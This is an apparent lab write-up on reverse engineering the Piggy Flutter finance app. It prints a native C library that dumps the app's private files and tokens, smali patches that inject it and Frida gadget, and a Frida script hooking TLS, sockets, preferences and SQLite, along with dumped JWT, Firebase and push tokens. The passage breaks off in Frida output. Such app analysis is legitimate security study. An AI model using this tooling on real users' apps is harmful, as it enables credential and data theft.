To begin with, Piggy is a family finance management app, which is used to track the in/outcome or transaction between many accounts saved in family. This app is written in flutter with many permissions, which is a perfect example for exploiting flutter. # I. Tool used ## reFlutter - Purpose: Lightweight APK “injection” to unpack Flutter assets & stub in custom native libraries. - Why Chosen: - Preserves original Flutter runtime structure (so Dart/Flutter compiler offsets remain valid). - Minimal rebuild: no need to recompile the entire Dart AOT blob. - Used in Method 1 ## apktool & Uber-APK-Signer - Purpose: decode XML/resources, smali ↔ dex transforms. Then from the decoded apk file, I can directly inject into smali files. After modification, Uber-APK-Signer re-sign rebuilt APKs with a debug or custom key. - Why Chosen: - apktool is the open-source tool for resource decoding. - Uber-APK-Signer automatically aligns and signs with minimum fuss. - Used in method 2 ## Android NDK + Custom C Code - Purpose: Build a small native library (libdump.so) that uses JNI to traverse app directories and dump files. - Why Chosen: - Native code can bypass Java-level sandboxing for file I/O. - Easy to compile into the APK and load via System.loadLibrary. - Used in method 2 ## ADB (Android Debug Bridge) - Purpose: Push patched APK, pull dump files, run shell commands. - Used in all method to interact with phone via CLI ## Burp Suite: - Purpose: Intercept HTTP(S) traffic, inspect payloads, replay requests. - Used in method 1 ## Frida + Frida-gadget - Purpose: Dynamic instrumentation of native (OpenSSL) and Java methods at runtime. - Why Chosen: - No need to rebuild APK for live hooks. - Can bypass certificate pinning, dump in-memory data. - Used in method 3 # II. Methods & Methodology ## Method 1: reFlutter Injection - Steps: inject, decode resources, extract raw AndroidManifest.xml, merge debug tags, rebuild & sign - Challenges: resource table errors, Android 15 CA model ## Method 2: Native “dump.c” Injector - JNI bridge: loading libdump.so in MainActivity constructor - Directory walk: opendir → list shared_prefs, databases, files - Content dump: read XML/DB files, /proc/net/tcp, /proc/self/maps → mega_dump.txt - Extraction via ADB ## Method 3: Frida-based Live Dump - Injecting libfrida-gadget.so in APK - Native hooks: SSL_write/SSL_read, send/recv - Java hooks: URL, HttpsURLConnection, OkHttpClient.Builder, SharedPreferences.get/putString, SQLiteDatabase.rawQuery/execSQL, FileInputStream - Output: live request/response payloads, SQL statements, prefs operations # III. Technical details: ## Method 1: using reFlutter - Inject reflutter ![image](https://hackmd.io/_uploads/BkT6RwjZgg.png) - extract injected apk to add debug tag without resources ![image](https://hackmd.io/_uploads/S1k0b_j-ex.png) - AndroidManifest is in unreadable format ![image](https://hackmd.io/_uploads/H1opf_ibge.png) -> Need to obtain AndroidManifest in the extraction that containing resources for later compiling ![image](https://hackmd.io/_uploads/HkkQQOsZlx.png) - got multiple error since resources is not extractable, but android manifest is obtained successfully - extracted directory (looks) - without resources: ![image](https://hackmd.io/_uploads/HkuFQuobge.png) with resources: ![image](https://hackmd.io/_uploads/Sk737uoWxx.png) - Differences: resources.asrc -> only -r has since it skipped extracting the resources part, so that an android resource table must be there for resources mapping - Then open androidManifest.xml in the raw one (the one extracted with resources) adding debug to reflutter ![image](https://hackmd.io/_uploads/BJfcawjWee.png) then moving it into the one without resources -> Reason for this: the apktool mostly error all the time with decoding resources -> in order to rebuild the apk, I need to rebuild the apk based on the one that not decode resources ![image](https://hackmd.io/_uploads/ByrArOj-xg.png) after copying, I recompile the decoded files back into apk ![image](https://hackmd.io/_uploads/B1oQ8uoZlg.png) I then sign the apk file with uber-apk-signer. More over, I generated a Burp CA cert and install it in my phone ![Screenshot_20250608-230451](https://hackmd.io/_uploads/B12gS4mQge.png) - Due to strict Android's CA Model for Android 7.0+, only system traffic is captured in BurpSuite ![image](https://hackmd.io/_uploads/S1gnrNmXxe.png) - Overall, this method is not working good anymore, since newer Android (15) has patched this. ## Method 2: manually crafting a function in C to dump internal data: - In order to dump all the app data, I've crafted a dump.c alongside with Android.mk, which later being compiled into libdump.so and placed in lib/arm64-v8a to inject into the app. ``` #include <jni.h> #include <stdio.h> #include <stdlib.h> #include <dirent.h> #include <string.h> #define APP_DIR "/data/data/in.piggyvault.piggy_flutter/" #define OUTPUT_FILE "/data/data/in.piggyvault.piggy_flutter/files/mega_dump.txt" void dump_dir(FILE* out, const char* path, const char* prefix) { DIR* dir = opendir(path); if (!dir) return; struct dirent* entry; while ((entry = readdir(dir)) != NULL) { if (entry->d_type == DT_REG) { char fullpath[512]; snprintf(fullpath, sizeof(fullpath), "%s/%s", path, entry->d_name); fprintf(out, "%s%s\n", prefix, entry->d_name); } } closedir(dir); } void dump_file_content(FILE* out, const char* filepath, const char* label) { FILE* f = fopen(filepath, "r"); if (f) { fprintf(out, "\n// ==== %s (%s) ====\n", label, filepath); char buf[512]; while (fgets(buf, sizeof(buf), f)) { fputs(buf, out); } fclose(f); } } JNIEXPORT void JNICALL Java_in_piggyvault_piggy_1flutter_MainActivity_nativeDump(JNIEnv* env, jobject thiz) { FILE* out = fopen(OUTPUT_FILE, "w"); if (!out) return; fprintf(out, "// === APP DATA DUMP START ===\n\n"); // SharedPreferences fprintf(out, "// SharedPreferences XML Files:\n"); dump_dir(out, APP_DIR "shared_prefs", " "); dump_file_content(out, APP_DIR "shared_prefs/FlutterSharedPreferences.xml", "FlutterPrefs"); dump_file_content(out, APP_DIR "shared_prefs/OneSignalTriggers.xml", "OneSignal"); // Databases fprintf(out, "\n// Databases:\n"); dump_dir(out, APP_DIR "databases", " "); // Internal Files fprintf(out, "\n// Files:\n"); dump_dir(out, APP_DIR "files", " "); // Print contents of important internal files dump_file_content(out, APP_DIR "files/PersistedInstallation.*", "Firebase Install"); dump_file_content(out, APP_DIR "files/generatefid.lock", "generatefid.lock"); // Dump network state fprintf(out, "\n// Network Connections (/proc/net/tcp):\n"); dump_file_content(out, "/proc/net/tcp", "TCP"); // Dump memory map fprintf(out, "\n// Memory Map (/proc/self/maps):\n"); dump_file_content(out, "/proc/self/maps", "Memory Map"); fprintf(out, "\n// === END OF DUMP ===\n"); fclose(out); } ``` - To make the app load this script, I also edit the MainActivity, adding into constructor to make the script run before the app starts ``` .method public constructor <init>()V .locals 1 invoke-direct {p0}, Lio/flutter/embedding/android/f;-><init>()V const-string v0, "dump" invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V return-void .end method ``` - These code will dump SharedPreferences,Databases, Internal Files and Memory map when the app is running, then save it to mega_dump.txt. Then we use Android Debug Bridge (ADB) to take the mega_dump.txt out. -- Sample data from mega_dump.txt ``` // === APP DATA DUMP START === // SharedPreferences XML Files: com.google.android.gms.appid.xml FirebaseAppHeartBeat.xml g4.xml OneSignalTriggers.xml GTPlayerPurchases.xml FlutterSharedPreferences.xml // ==== FlutterPrefs (/data/data/in.piggyvault.piggy_flutter/shared_prefs/FlutterSharedPreferences.xml) ==== <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <long name="flutter.tenantId" value="1" /> <boolean name="flutter.firstAccess" value="false" /> <string name="flutter.authToken">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1lIjoiYWRtaW4iLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJhZG1pbkBkZWZhdWx0dGVuYW50LmNvbSIsIkFzcE5ldC5JZGVudGl0eS5TZWN1cml0eVN0YW1wIjoiNWFjYTE0OWMtMzU4MS02MzA2LTU3OTAtMzlmMGYxOGQ2MWI0IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW4iLCJodHRwOi8vd3d3LmFzcG5ldGJvaWxlcnBsYXRlLmNvbS9pZGVudGl0eS9jbGFpbXMvdGVuYW50SWQiOiIxIiwic3ViIjoiMiIsImp0aSI6IjllODhkMTc1LTU0ZDYtNGVjMS04ZjE3LTAwMzEwMzgzODE5MSIsImlhdCI6MTc0OTE0MDc3OCwibmJmIjoxNzQ5MTQwNzc4LCJleHAiOjE3NjQ2OTI3NzgsImlzcyI6IlBpZ2d5dmF1bHQiLCJhdWQiOiJQaWdneXZhdWx0In0.-urw65YZ04StRkH-WmEQO0GlFS8QZW_hvEFoQwmPAeI</string> </map> // ==== OneSignal (/data/data/in.piggyvault.piggy_flutter/shared_prefs/OneSignalTriggers.xml) ==== <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map /> // Databases: com.google.android.datatransport.events-journal com.google.android.datatransport.events OneSignal.db-journal OneSignal.db // Files: PersistedInstallation.T05FU0lHTkFMX1NES19GQ01fQVBQX05BTUU+MTo3NTQ3OTU2MTQwNDI6YW5kcm9pZDpjNjgyYjgxNDRhOGRkNTJiYzFhZDYz.json generatefid.lock mega_dump.txt // ==== generatefid.lock (/data/data/in.piggyvault.piggy_flutter/files/generatefid.lock) ==== // Network Connections (/proc/net/tcp): // Memory Map (/proc/self/maps): // ==== Memory Map (/proc/self/maps) ==== 14000000-24000000 rw-p 00000000 00:00 0 [anon:dalvik-main space] 34000000-44000000 rw-p 00000000 00:00 0 [anon:dalvik-free list large object space] 54000000-56000000 r--s 00000000 00:01 2051 /memfd:jit-zygote-cache (deleted) 56000000-58000000 r-xs 02000000 00:01 2051 /memfd:jit-zygote-cache (deleted) 58000000-5a000000 r--s 00000000 00:01 317835 /memfd:jit-cache (deleted) 5a000000-5c000000 r-xs 02000000 00:01 317835 /memfd:jit-cache (deleted) 70510000-71a28000 rw-p 00000000 00:00 0 [anon:dalvik-/data/misc/apexdata/com.android.art/dalvik-cache/boot.art] 71a28000-71d24000 r--p 00000000 fe:3c 918615 /data/misc/apexdata/com.android.art/dalvik-cache/arm64/boot.oat 71d24000-72736000 r-xp 002fc000 fe:3c 918615 /data/misc/apexdata/com.android.art/dalvik-cache/arm64/boot.oat 72736000-72738000 ---p 00000000 00:00 0 [anon:dalvik-Boot image reservation] 72738000-72739000 rw-p 00000000 00:00 0 [anon:.bss] 72739000-7273c000 ---p 00000000 00:00 0 [anon:dalvik-Boot image reservation] 7273c000-72831000 rw-p 00000000 fe:3c 918650 /data/misc/apexdata/com.android.art/dalvik-cache/arm64/boot.vdex 72831000-72834000 ---p 00000000 00:00 0 [anon:dalvik-Boot image reservation] 72834000-73174000 rw-p 00000000 00:00 0 73174000-7318c000 r--p 00000000 fe:3c 918780 /data/misc/apexdata/com.android.art/dalvik-cache/arm64/boot-framework-adservices.oat 7318c000-731bd000 rw-p 00000000 fe:3c 918812 /data/misc/apexdata/com.android.art/dalvik-cache/arm64/boot-framework-adservices.vdex 731bd000-731c0000 ---p 00000000 00:00 0 [anon:dalvik-Boot image reservation] 731c0000-7381e000 rw-p 00000000 00:00 0 [anon:dalvik-zygote space] 7381e000-7381f000 rw-p 00000000 00:00 0 [anon:dalvik-non moving space] 7381f000-73820000 rw-p 00000000 00:00 0 [anon:dalvik-non moving space] 73820000-761c1000 ---p 00000000 00:00 0 [anon:dalvik-non moving space] 761c1000-771c0000 rw-p 00000000 00:00 0 [anon:dalvik-non moving space] ebad6000-ebad7000 ---p 00000000 00:00 0 [anon:dalvik-Sentinel fault page] 5fffc18000-5fffc19000 rw-s 5fffc18000 00:12 1161 /dev/mali0 5fffc19000-5fffc1a000 rw-s 5fffc19000 00:12 1161 /dev/mali0 5fffc1a000-5fffc3a000 rw-s 5fffc1a000 00:12 1161 /dev/mali0 5fffc3a000-5fffc5a000 rw-s 5fffc3a000 00:12 1161 /dev/mali0 5fffc5a000-5fffc7a000 rw-s 5fffc5a000 00:12 1161 /dev/mali0 5fffc7a000-5fffc9a000 rw-s 5fffc7a000 00:12 1161 /dev/mali0 5fffc9a000-5fffcba000 rw-s 5fffc9a000 00:12 1161 /dev/mali0 5fffcba000-5fffcda000 rw-s 5fffcba000 00:12 1161 /dev/mali0 5fffcda000-5fffcfa000 rw-s 5fffcda000 00:12 1161 /dev/mali0 5fffcfa000-5fffd1a000 rw-s 5fffcfa000 00:12 1161 /dev/mali0 5fffd1a000-5fffd1b000 rw-s 5fffd1a000 00:12 1161 /dev/mali0 5fffd1b000-5fffd1e000 rw-s 05a24000 00:01 1024 /mali csf db (deleted) 5fffd1e000-5fffd2e000 rw-s 5fffd1e000 00:12 1161 /dev/mali0 5fffd2e000-5fffd31000 rw-s 05a21000 00:01 1024 /mali csf db (deleted) 5fffd31000-5fffd41000 rw-s 5fffd31000 00:12 1161 /dev/mali0 5fffd41000-5fffd44000 rw-s 05a1e000 00:01 1024 /mali csf db (deleted) 5fffd44000-5fffd54000 rw-s 5fffd44000 00:12 1161 /dev/mali0 5fffd54000-5fffd57000 rw-s 05a1b000 00:01 1024 /mali csf db (deleted) 5fffd57000-5fffd67000 rw-s 5fffd57000 00:12 1161 /dev/mali0 5fffd67000-5fffd6a000 rw-s 05a18000 00:01 1024 /mali csf db (deleted) ... ``` ### Some preset value obtained from dump - FirebaseAppHeartbeat.xml: ``` <map> <long name="fire-global" value="1749096375993"/> <long name="fire-iid" value="1749096376320"/> <long name="fire-installations-id" value="1749096375993"/> </map> ``` - FlutterSharedPreferences.xml: ``` <map> <long name="flutter.tenantId" value="1"/> <boolean name="flutter.firstAccess" value="false"/> <string name="flutter.authToken">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1lIjoiYWRtaW4iLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJhZG1pbkBkZWZhdWx0dGVuYW50LmNvbSIsIkFzcE5ldC5JZGVudGl0eS5TZWN1cml0eVN0YW1wIjoiNWFjYTE0OWMtMzU4MS02MzA2LTU3OTAtMzlmMGYxOGQ2MWI0IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW4iLCJodHRwOi8vd3d3LmFzcG5ldGJvaWxlcnBsYXRlLmNvbS9pZGVudGl0eS9jbGFpbXMvdGVuYW50SWQiOiIxIiwic3ViIjoiMiIsImp0aSI6IjQ0MjM5M2U5LWEwMzYtNDEyNi05ZWNmLWI4MTllNWE2ODdiZSIsImlhdCI6MTc0OTE0MDAwNSwibmJmIjoxNzQ5MTQwMDA1LCJleHAiOjE3NjQ2OTIwMDUsImlzcyI6IlBpZ2d5dmF1bHQiLCJhdWQiOiJQaWdneXZhdWx0In0.ydM1IRtzo1eTSjJP-sx4KB7mF0JCd8XBqDL6FMyq4sQ</string> </map> ``` - g4.xml: ``` <map> <string name="ONESIGNAL_USERSTATE_DEPENDVALYES_CURRENT_STATE">{"subscribableStatus":1,"userSubscribePref":true,"androidPermission":false,"session":false}</string> <string name="ONESIGNAL_USERSTATE_SYNCVALYES_CURRENT_STATE">{"notification_types":0,"app_id":"9bf198c9-442b-4619-b5c9-759fc250f15b","device_os":"15","timezone":25200,"timezone_id":"Asia\/Ho_Chi_Minh","language":"en","sdk":"040802","sdk_type":"flutter","android_package":"in.piggyvault.piggy_flutter","device_model":"Pixel 7 Pro","game_version":55,"net_type":0,"carrier":"VinaPhone","rooted":false,"identifier":"eopg3NwXRuycm7iTP755as:APA91bEqiGtp47f2Yv7_jQLHSTipbyK6U7i6KDJFxqBESl32N6oaBDGgk_ceLFTH05dto70xG69HKAlu56J3Glyg2hWKqsYPkXZh4RIYZeJuNpLtLWeACJQ","device_type":1}</string> <boolean name="ONESIGNAL_SUBSCRIPTION_LAST" value="false"/> <boolean name="GT_FIREBASE_TRACKING_ENABLED" value="false"/> <int name="PREFS_OS_INDIRECT_ATTRIBUTION_WINDOW" value="60"/> <boolean name="PREFS_OS_INDIRECT_ENABLED" value="false"/> <boolean name="PREFS_OS_UNATTRIBUTED_ENABLED" value="false"/> <boolean name="OS_CLEAR_GROUP_SUMMARY_CLICK" value="true"/> <string name="ONESIGNAL_USERSTATE_SYNCVALYES_smsTOSYNC_STATE">{"app_id":"9bf198c9-442b-4619-b5c9-759fc250f15b","device_os":"15","timezone":25200,"timezone_id":"Asia\/Ho_Chi_Minh","language":"en","sdk":"040802","sdk_type":"flutter","android_package":"in.piggyvault.piggy_flutter","device_model":"Pixel 7 Pro","game_version":55,"net_type":0,"carrier":"VinaPhone","rooted":false}</string> <string name="ONESIGNAL_USERSTATE_DEPENDVALYES_smsTOSYNC_STATE">{"subscribableStatus":1,"userSubscribePref":true,"session":true}</string> <boolean name="PREFS_OS_OUTCOMES_V2" value="false"/> <string name="PREFS_OS_HTTP_CACHE_PREFIX_CACHE_KEY_REMOTE_PARAMS">{"awl_list":{},"android_sender_id":"572062574561","chnl_lst":[{"chnl":{"id":"OS_474ad2c8-1334-4605-9163-29a50204e2fe","nm":"New Transaction","dscr":"Get notification whenever a transaction is added","grp_id":"OS_144aac2b-5267-4c67-8286-c7bc4b21dabb","grp_nm":"Transactions"}},{"chnl":{"id":"OS_5e194189-f80b-45dc-87ca-b8b8ad02ca6c","nm":"Transaction Updated","dscr":"Get notification whenever a transaction is updated","grp_id":"OS_144aac2b-5267-4c67-8286-c7bc4b21dabb","grp_nm":"Transactions"}}],"outcomes":{"direct":{"enabled":false},"indirect":{"notification_attribution":{"minutes_since_displayed":60,"limit":10},"enabled":false},"unattributed":{"enabled":false}},"receive_receipts_enable":false}</string> <int name="PREFS_OS_IAM_INDIRECT_ATTRIBUTION_WINDOW" value="1440"/> <int name="PREFS_OS_NOTIFICATION_LIMIT" value="10"/> <string name="ONESIGNAL_PLAYER_ID_LAST">fd79bb66-e623-438f-bf27-d1070e402991</string> <long name="GT_UNSENT_ACTIVE_TIME" value="0"/> <int name="PREFS_OS_IAM_LIMIT" value="10"/> <string name="ONESIGNAL_USERSTATE_SYNCVALYES_emailTOSYNC_STATE">{"app_id":"9bf198c9-442b-4619-b5c9-759fc250f15b","device_os":"15","timezone":25200,"timezone_id":"Asia\/Ho_Chi_Minh","language":"en","sdk":"040802","sdk_type":"flutter","android_package":"in.piggyvault.piggy_flutter","device_model":"Pixel 7 Pro","game_version":55,"net_type":0,"carrier":"VinaPhone","rooted":false}</string> <long name="OS_LAST_SESSION_TIME" value="1749096456567"/> <set name="PREFS_OS_UNATTRIBUTED_UNIQUE_OUTCOME_EVENTS_SENT"/> <string name="ONESIGNAL_PUSH_TOKEN_LAST">eopg3NwXRuycm7iTP755as:APA91bEqiGtp47f2Yv7_jQLHSTipbyK6U7i6KDJFxqBESl32N6oaBDGgk_ceLFTH05dto70xG69HKAlu56J3Glyg2hWKqsYPkXZh4RIYZeJuNpLtLWeACJQ</string> <boolean name="PREFS_OS_DIRECT_ENABLED" value="false"/> <string name="ONESIGNAL_USERSTATE_DEPENDVALYES_TOSYNC_STATE">{"subscribableStatus":1,"userSubscribePref":true,"androidPermission":false,"session":false}</string> <boolean name="ONESIGNAL_PERMISSION_ACCEPTED_LAST" value="false"/> <string name="GT_APP_ID">9bf198c9-442b-4619-b5c9-759fc250f15b</string> <long name="OS_LAST_LOCATION_TIME" value="1749096512962"/> <boolean name="PREFS_OS_RECEIVE_RECEIPTS_ENABLED" value="false"/> <string name="PREFS_OS_ETAG_PREFIX_CACHE_KEY_REMOTE_PARAMS">W/"a750154593cddcd1836695e1533860c1"</string> <string name="GT_PLAYER_ID">fd79bb66-e623-438f-bf27-d1070e402991</string> <boolean name="OS_RESTORE_TTL_FILTER" value="true"/> <string name="ONESIGNAL_USERSTATE_DEPENDVALYES_emailTOSYNC_STATE">{"subscribableStatus":1,"userSubscribePref":true,"session":true}</string> <string name="ONESIGNAL_USERSTATE_SYNCVALYES_TOSYNC_STATE">{"app_id":"9bf198c9-442b-4619-b5c9-759fc250f15b","device_os":"15","timezone":25200,"timezone_id":"Asia\/Ho_Chi_Minh","language":"en","sdk":"040802","sdk_type":"flutter","android_package":"in.piggyvault.piggy_flutter","device_model":"Pixel 7 Pro","game_version":55,"net_type":0,"carrier":"VinaPhone","rooted":false,"identifier":"eopg3NwXRuycm7iTP755as:APA91bEqiGtp47f2Yv7_jQLHSTipbyK6U7i6KDJFxqBESl32N6oaBDGgk_ceLFTH05dto70xG69HKAlu56J3Glyg2hWKqsYPkXZh4RIYZeJuNpLtLWeACJQ","device_type":1,"notification_types":0}</string> </map> ``` - PersistedInstallation.json: ``` {"Fid":"eopg3NwXRuycm7iTP755as","Status":3,"AuthToken":"eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcHBJZCI6IjE6NzU0Nzk1NjE0MDQyOmFuZHJvaWQ6YzY4MmI4MTQ0YThkZDUyYmMxYWQ2MyIsImV4cCI6MTc0OTc0NDc4OSwiZmlkIjoiZW9wZzNOd1hSdXljbTdpVFA3NTVhcyIsInByb2plY3ROdW1iZXIiOjc1NDc5NTYxNDA0Mn0.AB2LPV8wRQIgdJMlnlO4Yrc8c4gz8oLNh4sPUACy9_-vboFT8Y37fZgCIQCeydymbD_TQp3uKhmBikiDOMD_sGu3Y9JuU7H51F4bOw","RefreshToken":"3_AS3qfwJW59m6vJGGdcivz9gLc1xhU-8uLExCQ4sI1p5zviKPNwJKG2gAzYWtNbcyKd04oXM9HkAwYnrLAKB8Ccy-lz0LxtMJnic4lFjfe20kkM4","TokenCreationEpochInSecs":1749139991,"ExpiresInSecs":604800} ``` ### From these files, we can obtain many preset value, including: - Firebase Installation Token: ``` { "Fid": "eopg3NwXRuycm7iTP755as", "Status": 3, "AuthToken": "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcHBJZCI6IjE6NzU0Nzk1NjE0MDQyOmFuZHJvaWQ6YzY4MmI4MTQ0YThkZDUyYmMxYWQ2MyIsImV4cCI6MTc0OTc0NDc4OSwiZmlkIjoiZW9wZzNOd1hSdXljbTdpVFA3NTVhcyIsInByb2plY3ROdW1iZXIiOjc1NDc5NTYxNDA0Mn0.AB2LPV8wRQIgdJMlnlO4Yrc8c4gz8oLNh4sPUACy9_-vboFT8Y37fZgCIQCeydymbD_TQp3uKhmBikiDOMD_sGu3Y9JuU7H51F4bOw", "RefreshToken": "3_AS3qfwJW59m6vJGGdcivz9gLc1xhU-8uLExCQ4sI1p5zviKPNwJKG2gAzYWtNbcyKd04oXM9HkAwYnrLAKB8Ccy-lz0LxtMJnic4lFjfe20kkM4", "TokenCreationEpochInSecs": 1749139991, "ExpiresInSecs": 604800 } ``` - Auth Token (JWT Access Token): ``` yJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6IjIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1lIjoiYWRtaW4iLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9lbWFpbGFkZHJlc3MiOiJhZG1pbkBkZWZhdWx0dGVuYW50LmNvbSIsIkFzcE5ldC5JZGVudGl0eS5TZWN1cml0eVN0YW1wIjoiNWFjYTE0OWMtMzU4MS02MzA2LTU3OTAtMzlmMGYxOGQ2MWI0IiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW4iLCJodHRwOi8vd3d3LmFzcG5ldGJvaWxlcnBsYXRlLmNvbS9pZGVudGl0eS9jbGFpbXMvdGVuYW50SWQiOiIxIiwic3ViIjoiMiIsImp0aSI6IjQ0MjM5M2U5LWEwMzYtNDEyNi05ZWNmLWI4MTllNWE2ODdiZSIsImlhdCI6MTc0OTE0MDAwNSwibmJmIjoxNzQ5MTQwMDA1LCJleHAiOjE3NjQ2OTIwMDUsImlzcyI6IlBpZ2d5dmF1bHQiLCJhdWQiOiJQaWdneXZhdWx0In0.ydM1IRtzo1eTSjJP-sx4KB7mF0JCd8XBqDL6FMyq4sQ ``` - OneSignal Identifiers ``` - Push Token: eopg3NwXRuycm7iTP755as:APA91bEqiGtp47f2Yv7_jQLHSTipbyK6U7i6KDJFxqBESl32N6oaBDGgk_ceLFTH05dto70xG69HKAlu56J3Glyg2hWKqsYPkXZh4RIYZeJuNpLtLWeACJQ - Player ID: fd79bb66-e623-438f-bf27-d1070e402991 - App ID: 9bf198c9-442b-4619-b5c9-759fc250f15b ``` ## Method 3: using Frida to dump live data ### Step-by-step: - Since my phone is not rooted, frida-server cannot be used, so that I will inject frida-gadget into the apk. - First, I add libfrida-gadget.so into lib/arm64-v8a and declare it in MainActivity. ``` .method static constructor <clinit>()V .locals 1 const-string v0, "frida-gadget" invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V return-void .end method ``` - Then I craft a js script to read internal database query alongside hooking network traffic ``` 'use strict'; function tryUtf8(ptr, len) { try { return ptr.readUtf8String(len) || '<non-utf8>'; } catch (_) { return '<non-utf8 or error>'; } } const attached = new Set(); const resolver = new ApiResolver('module'); function hookSSL() { ['SSL_write', 'SSL_read'].forEach(name => { const matches = resolver.enumerateMatches(`exports:*!${name}`); matches.forEach(m => { const key = `${name}@${m.address}`; if (attached.has(key)) return; attached.add(key); console.log(`[+] Attaching ${name} @ ${m.address}`); Interceptor.attach(m.address, { onEnter(args) { if (name === 'SSL_write') { const len = args[2].toInt32(); const data = tryUtf8(args[1], len); console.log(`\n--- request (${name}) len=${len}`); console.log(data); } else { this.buf = args[1]; } }, onLeave(retval) { if (name === 'SSL_read') { const len = retval.toInt32(); if (len > 0) { const data = tryUtf8(this.buf, len); console.log(`\n--- response (${name}) len=${len}`); console.log(data); } } } }); }); }); } function hookSocketIO() { ['send', 'recv'].forEach(name => { const matches = resolver.enumerateMatches(`exports:*!${name}`); matches.forEach(m => { const key = `${name}@${m.address}`; if (attached.has(key)) return; attached.add(key); console.log(`[+] Attaching ${name} @ ${m.address}`); Interceptor.attach(m.address, { onEnter(args) { if (name === 'send') { const len = args[2].toInt32(); const data = tryUtf8(args[1], len); console.log(`\n--- request (${name}) len=${len}`); console.log(data); } else { this.buf = args[1]; } }, onLeave(retval) { if (name === 'recv') { const len = retval.toInt32(); if (len > 0) { const data = tryUtf8(this.buf, len); console.log(`\n--- response (${name}) len=${len}`); console.log(data); } } } }); }); }); } Process.attachModuleObserver({ onAdded(m) { if (/ssl/i.test(m.name)) hookSSL(); if (/libc\.so/.test(m.name)) hookSocketIO(); } }); hookSSL(); hookSocketIO(); if (Java.available) { Java.perform(() => { console.log('[Java] Hooking Java methods'); try { const URL = Java.use('java.net.URL'); URL.$init.overload('java.lang.String').implementation = function (s) { console.log('[+] New URL:', s); return this.$init(s); }; const HttpsURLConnection = Java.use('javax.net.ssl.HttpsURLConnection'); HttpsURLConnection.getInputStream.implementation = function () { console.log('[+] getInputStream:', this.getURL()); return this.getInputStream(); }; } catch (e) { console.warn('[!] URL/HttpsURLConnection hook failed:', e); } try { const OkHttpBuilder = Java.use('okhttp3.OkHttpClient$Builder'); OkHttpBuilder.build.implementation = function () { console.log('[+] OkHttpClient built'); return this.build(); }; } catch (_) {} try { const SP = Java.use('android.content.SharedPreferences'); const Editor = Java.use('android.content.SharedPreferences$Editor'); SP.getString.overload('java.lang.String','java.lang.String').implementation = function (k, d) { const v = this.getString(k, d); console.log(`[SharedPreferences] GET ${k} = ${v}`); return v; }; Editor.putString.overload('java.lang.String','java.lang.String').implementation = function (k, v) { console.log(`[SharedPreferences] PUT ${k} = ${v}`); return this.putString(k, v); }; } catch (_) {} try { const DB = Java.use('android.database.sqlite.SQLiteDatabase'); DB.rawQuery.overload('java.lang.String','[Ljava.lang.String;').implementation = function (sql, a) { console.log(`[SQLite] rawQuery: ${sql}`); return this.rawQuery(sql, a); }; DB.execSQL.overload('java.lang.String').implementation = function (sql) { console.log(`[SQLite] execSQL: ${sql}`); return this.execSQL(sql); }; } catch (_) {} try { const FIS = Java.use('java.io.FileInputStream'); FIS.$init.overload('java.lang.String').implementation = function (p) { console.log(`[FileInputStream] Open: ${p}`); return this.$init(p); }; } catch (_) {} }); } ``` ### Results: - Output: ``` ____ / _ | Frida 17.1.3 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Pixel 7 Pro (id=29221FDH3009S7) Attaching... [+] Attaching send @ 0x7d7c476570 [+] Attaching recv @ 0x7d7c475970 [+] Attaching SSL_write @ 0x7aa1458c10 [+] Attaching SSL_read @ 0x7aa14587d8 [Java] Hooking Java methods [Pixel 7 Pro::PID::32668 ]-> --- request (SSL_write) len=318 GET /apps/9bf198c9-442b-4619-b5c9-759fc250f15b/android_params.js HTTP/1.1 SDK-Version: onesignal/android/040802 Accept: application/vnd.onesignal.v1+json User-Agent: Dalvik/2.1.0 (Linux; U; Android 15; Pixel 7 Pro Build/BP1A.250505.005.B1) Host: api.onesignal.com Connection: Keep-Alive Accept-Encoding: gzip --- response (SSL_read) len=1369 { "awl_list": {}, "android_sender_id": "572062574561", "chnl_lst": [ { "chnl": { "id": 